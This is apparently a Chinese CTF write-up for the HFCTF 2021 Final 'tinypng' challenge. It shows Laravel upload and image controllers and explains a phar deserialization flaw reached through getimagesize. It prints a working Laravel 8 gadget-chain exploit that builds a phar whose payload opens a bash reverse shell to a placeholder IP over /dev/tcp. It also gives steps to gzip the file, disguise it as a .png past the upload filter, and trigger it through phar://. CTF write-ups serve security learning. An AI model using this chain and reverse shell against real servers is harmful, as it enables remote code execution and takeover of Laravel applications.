[HFCTF 2021 Final]tinypng

[HFCTF 2021 Final]tinypng

知识点

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class IndexController extends Controller
{
    public function fileUpload(Request $req)
    {
        $allowed_extension = "png";
        $extension = $req->file('file')->clientExtension();
        if($extension === $allowed_extension && $req->file('file')->getSize() < 204800)
        {
            $content = $req->file('file')->get();
            if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){
                $error = 'Don\'t do that, please';
                return back()
                    ->withErrors($error);
            }else {
                $fileName = \md5(time()) . '.png';
                $path = $req->file('file')->storePubliclyAs('uploads', $fileName);
                echo "path: $path";
                return back()
                    ->with('success', 'File has been uploaded.')
                    ->with('file', $path);
            }
        } else{
            $error = 'Don\'t do that, please';
            return back()
                ->withErrors($error);
        }

    }
}

ImageController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class ImageController extends Controller
{
    public function handle(Request $request)
    {
        $source = $request->input('image');
        if(empty($source)){
            return view('image');
        }
        $temp = explode(".", $source);
        $extension = end($temp);
        if ($extension !== 'png') {
            $error = 'Don\'t do that, pvlease';
            return back()
                ->withErrors($error);
        } else {
            $image_name = md5(time()) . '.png';
            $dst_img = '/var/www/html/' . $image_name;
            $percent = 1;
            (new imgcompress($source, $percent))->compressImg($dst_img);
            return back()->with('image_name', $image_name);
        }
    }
}
public function compressImg($saveName)
    {
        $this->_openImage();
        $this->_saveImage($saveName);
    }

    /**
     * 内部:打开图片
     */
    private function _openImage()
    {
        list($width, $height, $type, $attr) = getimagesize($this->src);
        $this->imageinfo = array(
            'width' => $width,
            'height' => $height,
            'type' => image_type_to_extension($type, false),
            'attr' => $attr
        );
        $fun = "imagecreatefrom" . $this->imageinfo['type'];
        $this->image = $fun($this->src);
        $this->_thumpImage();
    }

解题步骤

首先, 在/tinypng-1618820451/html/html/vendor/composer/install.json里面可以得知, 为Laravel 8框架(buu环境)。


然后f12提示修改了image的bug。在路由里面,看到web.php,然后找到image控制器和index控制器。在index里面,过滤了phar的部分字符,然后在image里面,需要png结尾的文件,而且文件名不可控。根据调用,看到imgcompress。然后在_openImage()里面看到了getimagesize函数,这个函数有反序列化漏洞,条件是传入的文件名可控,而src可控,于是就可以用phar打。
根据上面的知识点,用laravel8的链子,直接贴exp:(来自https://zwh-china.top/2021/06/19/%E8%99%8E%E7%AC%A6%E6%9D%AFtiny-png/

<?php

namespace Illuminate\Broadcasting{

use Illuminate\Contracts\Events\Dispatcher;

class PendingBroadcast
{
 protected $event;
 protected $events;
    public function __construct($events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }
}
}
namespace Illuminate\Bus{
class Dispatcher
{
 protected $queueResolver;
    public function __construct($queueResolver)
    {
        $this->queueResolver = $queueResolver;
    }

}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
 public $connection;
 public function __construct($connection)
    {
        $this->connection = $connection;
    }
  }
}
namespace{
 $c = new Illuminate\Broadcasting\BroadcastEvent("bash -c 'bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/2333 0>&1'");
 $a = new Illuminate\Bus\Dispatcher('system');
 $b = new Illuminate\Broadcasting\PendingBroadcast($a,$c);
$phar=new Phar("phar.phar");
    $phar->startBuffering(); 
    $phar->setStub('GIF89a'."__HALT_COMPILER();"); 
    $phar->setMetadata($b); 
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
 echo urlencode(serialize($b));
}

这里需要将生成的phar.phar进行gzip压缩成gz文件,然后将后缀改为.png,在首页上传。然后打开/image路由,然后get传参进行phar。文件保存路径在../storage/app/uploads文件夹下。
比较无语的是,你在/image路由输入框输入phar://../xxx直接报405,这个要抓包改成get上传才能成功。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇